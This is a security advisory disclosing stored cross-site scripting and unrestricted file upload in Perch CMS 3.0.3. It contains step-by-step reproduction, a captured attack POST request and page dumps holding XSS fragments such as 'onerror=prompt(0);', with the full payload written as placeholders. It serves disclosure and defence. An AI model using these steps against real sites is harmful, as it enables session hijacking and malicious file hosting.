Perch CMS 3.0.3 Cross Site Scripting / File Upload

`Document Title:  
===============  
Perch v3.0.3 CMS - Multiple Web Vulnerabilities  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2067  
  
  
Release Date:  
=============  
2017-05-29  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2067  
  
  
Common Vulnerability Scoring System:  
====================================  
3.8  
  
  
Vulnerability Class:  
====================  
Arbitrary File Upload  
  
  
Product & Service Introduction:  
===============================  
Perch is a content management system designed for small websites as a drop-in solution. Perch Runway a fully featured CMS for larger content driven sites.   
They share a template language and many features - the main difference is the types of projects they are each designed for.  
  
(Copy of the Homepage: https://docs.grabaperch.com )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory discovered an unrestricted file upload & stored cross site scripting web vulnerabilities in the Perch v3.0.3 Content Management System.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2017-05-29: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Edgeofmyseat  
Product: Perch - Content Management System (Web-Application) 3.0.3  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
An unrestricted file upload & stored cross site scripting vulnerabilities has been discovered in the official Perch v3.0.3 content management system.  
  
The security vulnerability is located in the `Asset Title` input field & `Select File` upload file of the vulnerable `Adding a New Asset` module POST method request.  
The `Asset Title` validation input field allows to execute any injected payload string code that is stored in the database management system. The `Select File` field   
is not parsed and allows a limited admin to upload unrestricted files to the web-server system.  
  
The security risk of the stored cross site scripting & unrestricted file upload vulnerability is estimated as medium (CVSS 3.8). Exploitation of the (non-persistent & persistent)   
input validation web vulnerability requires a privileged web-application user account and medium user interaction. Successful exploitation of the vulnerability results   
in session hijacking, non-persistent and persistent phishing attacks, non-persistent and persistent external redirects to malicious source, non-persistent and persistent   
manipulation of affected or connected application modules.  
  
  
Proof of Concept (PoC):  
=======================  
The unrestricted file upload & stored cross site scripting web vulnerabilities can be exploited by remote attackers with privileged user account and with Medium user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. Install Perch CMS   
Note: Your Account is a "Primary Admin"   
2. Login to the web-application   
3. Add " Limited Admin " with Admin Role  
4. Add " UserLab " with Editor Role  
Log Out Your "Primary Admin" Account and Log in with "Limited Admin" Account  
5. Go To ..assets/  
6. Add asset button  
7. Create a MALICIOUS SCRIPT CODE EXECUTION Title  
8. Upload any Malware or malicious file  
9. Click on Submit button   
10. Open The "UserLab & Primary Admin " Accounts  
11. Go To Listing Assets  
12. The execution of the vulnerability by an limited admin are Stored and published in all Users "Listing assets" module  
13. Successful reproduce of the vulnerability!  
  
  
PoC: Attack Scheme :  
https://www.youtube.com/watch?v=klYQ6iXfjUI&feature=youtu.be  
  
PoC: LimitedAdmin - Asset Title => (http://Perch-cms.localhost:8080/perch/core/apps/assets/edit/?id=)  
<div class="smartbar"><ul><li><div class="breadcrumb tab-active"><a href="/perch/core/apps/assets/">Assets</a><svg role="img" width="8" height="8" class="icon icon-o-navigate-right"> <use   
xlink:href="/perch/core/assets/svg/core.svg#o-navigate-right"></use> </svg> <a href="/perch/core/apps/assets/edit/?id=">">[ SCRIPT CODE EXECUTION! ]</a></div></li></ul></div>  
  
PoC: LimitedAdmin -Select File => (http://Perch-cms.localhost:8080/perch/core/apps/assets/edit/?id=)  
<div class="asset-badge-meta"><h3 class="title"><a href="/perch/resources/poc2-3.html">">[ Unrestricted "Malware&Malicious" FileUpload! ]></a></h3><ul class="meta"><li><svg role="img" width="12"   
height="12" class="icon icon-o-document"> <use xlink:href="/perch/core/assets/svg/assets.svg#o-document"></use> </svg> Doc / HTML</li><li><svg role="img" width="12" height="12" class="icon icon-o-  
weight-scale"> <use xlink:href="/perch/core/assets/svg/assets.svg#o-weight-scale"></use> </svg> 0<span class="unit">KB</span></li></ul> <span class="ft-choose-asset ft-file assets-disabled" data-  
type="doc" data-field="image_assetID" data-bucket="default" data-input="image"></span></div>  
  
  
--- PoC Session Logs [POST] ---  
POST /perch/core/apps/assets/edit/ HTTP/1.1  
Host: Perch-cms.localhost:8080  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Content-Type: multipart/form-data; boundary=---------------------------287332380928218  
Content-Length: 1118  
Referer: http://Perch-cms.localhost:8080/perch/core/apps/assets/edit/  
Cookie: PHPSESSID=e6pok7gnvci66jb7noti2j0nu5; cmsa=1  
Connection: keep-alive  
-----------------------------287332380928218: undefined  
Content-Disposition: form-data; name="resourceTitle"  
[ SCRIPT CODE EXECUTION! ]  
-----------------------------287332380928218  
Content-Disposition: form-data; name="image"; filename="poc1.html"  
Content-Type: text/html  
[ Unrestricted "Malware&Malicious" FileUpload! ]  
[Malicious Site + IP Adress/Redirection + File]:=[download]  
-----------------------------287332380928218  
Content-Disposition: form-data; name="image_field"  
1  
-----------------------------287332380928218  
Content-Disposition: form-data; name="image_assetID"  
-----------------------------287332380928218  
Content-Disposition: form-data; name="resourceBucket"  
default  
-----------------------------287332380928218  
Content-Disposition: form-data; name="tags"  
-----------------------------287332380928218  
Content-Disposition: form-data; name="btnsubmit"  
Submit  
-----------------------------287332380928218  
Content-Disposition: form-data; name="formaction"  
edit  
-----------------------------287332380928218  
Content-Disposition: form-data; name="token"  
7860b50e7d1965fcc59ebf9c49be0034  
-----------------------------287332380928218--  
HTTP/1.1 200 OK  
Server: ******  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
x-frame-options: deny  
X-XSS-Protection: 1; mode=block  
X-Content-Type-Options: nosniff  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=utf-8  
  
  
PoC: Affected Accounts   
[+] Role : Primary Admin  
[+] Vulnerable Modules(s): Listing assets  
  
<main class="main-panel" id="main" aria-label="Content"><header class="title-panel"><h1>Listing assets</h1><div class="notifications"></div><div class="buttons"><a class="button button-icon icon-  
left" href="/perch/core/apps/assets/edit/"><div><svg role="img" width="10" height="10" class="icon icon-plus"> <use xlink:href="/perch/core/assets/svg/core.svg#plus"></use> </svg><span>Add   
asset</span></div></a></div></header><div class="smartbar"><ul><li><div class="button-group button-toggle"><a href="/perch/core/apps/assets/?view=grid" class="button button-small toggle-  
active"><svg role="img" width="12" height="12" class="icon icon-grid-big"> <use xlink:href="/perch/core/assets/svg/core.svg#grid-big"></use> </svg> Grid</a><a href="/perch/core/apps/assets/?  
view=list" class="button button-small"><svg role="img" width="12" height="12" class="icon icon-menu"> <use xlink:href="/perch/core/assets/svg/core.svg#menu"></use> </svg> List</a></div></li><li><a   
href="/perch/core/apps/assets/?show-filter=atf" title="By Type"><svg role="img" width="14" height="14" class="icon icon-o-photo" title="By Type" aria-label="By Type"> <use   
xlink:href="/perch/core/assets/svg/assets.svg#o-photo"></use> </svg> <span>By Type</span></a></li><li><a href="/perch/core/apps/assets/?show-filter=bf" title="By Bucket"><svg role="img" width="14"   
height="14" class="icon icon-box-storage" title="By Bucket" aria-label="By Bucket"> <use xlink:href="/perch/core/assets/svg/core.svg#box-storage"></use> </svg> <span>By Bucket</span></a></li><li><a   
href="/perch/core/apps/assets/?show-filter=tf" title="By Tag"><svg role="img" width="14" height="14" class="icon icon-tag" title="By Tag" aria-label="By Tag"> <use   
xlink:href="/perch/core/assets/svg/core.svg#tag"></use> </svg> <span>By Tag</span></a></li></ul><div class="tab-content"><section role="tabpanel" class="tab-panel hidden" aria-hidden="true"><ul   
class="smartbar-filters"><li><a href="/perch/core/apps/assets/?type=img">Images</a></li><li><a href="/perch/core/apps/assets/?type=file">Files</a></li><li><a href="/perch/core/apps/assets/?  
type=doc">Documents</a></li><li><a href="/perch/core/apps/assets/?type=sheet">Spreadsheets</a></li><li><a href="/perch/core/apps/assets/?type=audio">Audio</a></li><li><a   
href="/perch/core/apps/assets/?type=video">Video</a></li><li><a href="/perch/core/apps/assets/?type=pres">Presentations</a></li><li><a href="/perch/core/apps/assets/?  
type=archive">Archives</a></li><li><a href="/perch/core/apps/assets/?type=html">HTML</a></li></ul></section><section role="tabpanel" class="tab-panel hidden" aria-hidden="true"><ul   
class="smartbar-filters"><li><a href="/perch/core/apps/assets/?bucket=default">Default</a></li></ul></section><section role="tabpanel" class="tab-panel hidden" aria-hidden="true"><ul   
class="smartbar-filters"><li><a href="/perch/core/apps/assets/?tag=onerrorprompt0">onerror=prompt(0);></a></li><li><a href="/perch/core/apps/assets/?tag=srcx">src=x</a></li><li><a   
href="/perch/core/apps/assets/?tag=ra-490d-e044">"><img< a=""></img<></a></li><div class="smartbar-actions"><a href="/perch/core/apps/assets/" class="button button-small"><svg role="img"   
width="12" height="12" class="icon icon-cancel"> <use xlink:href="/perch/core/assets/svg/core.svg#cancel"></use> </svg> Clear</a></div></ul></section></div></div><div class="inner asset-app-  
listing"><div class="asset-grid"><a href="/perch/core/apps/assets/edit/?id=38"><div class="grid-asset asset-doc asset-display-thumbless" style="background-color: rgb(175, 175, 175);"><svg   
role="img" width="64" height="64" class="icon icon-o-document"> <use xlink:href="/perch/core/assets/svg/assets.svg#o-document"></use> </svg><div class="asset-meta">  
<span class="title">"&gt[ SCRIPT CODE EXECUTION! ]></span></div></div></a></div><div class="paging-cont"></div></div></main>  
  
[+] Vulnerable Input Field(s): Asset Title  
<label for="resourceTitle" class="">Title <span class="required-value">(required)</span></label>  
<input id="resourceTitle" name="resourceTitle" value=""[ SCRIPT CODE EXECUTION! ] required="" aria-required="true" class="text input-simple m" type="text">  
  
[+] Vulnerable Input Field(s): Select File  
<a href="/perch/resources/[ Unrestricted "Malware&Malicious" FileUpload! ]">">[Malicious Site + IP Adress/Redirection + File]:=[download]></a>  
  
[+] Role : Editor  
[+] Vulnerable Modules(s): Listing assets  
  
<div class="inner asset-app-listing"><div class="asset-grid"><a href="/perch/core/apps/assets/edit/?id=38"><div class="grid-asset asset-doc asset-display-thumbless" style="background-color: rgb(175, 175, 175);"><svg role="img" width="64" height="64" class="icon icon-o-document"> <use xlink:href="/perch/core/assets/svg/assets.svg#o-document"></use> </svg><div class="asset-meta"><span class="title">">[ SCRIPT CODE EXECUTION! ]></span></div></div></a></div><div class="paging-cont"></div></div>  
  
[+] Vulnerable Input Field(s): Asset Title  
<div class="asset-meta"><span class="title">">[ SCRIPT CODE EXECUTION! ]></span></div>  
<div class="form-entry">  
<input id="resourceTitle" name="resourceTitle" value=""[ SCRIPT CODE EXECUTION! ]" required="" aria-required="true" class="text input-simple m" type="text">  
  
  
  
Security Risk:  
==============  
The security risk of the persistent cross site and unrestricted file upload web vulnerabilities in the Perch CMS is estimated as medium (CVSS 3.8).  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - SaifAllah benMassaoud (https://twitter.com/benmassaou) - (http://www.vulnerability-lab.com/show.php?user=SaifAllahbenMassaoud )   
  
  
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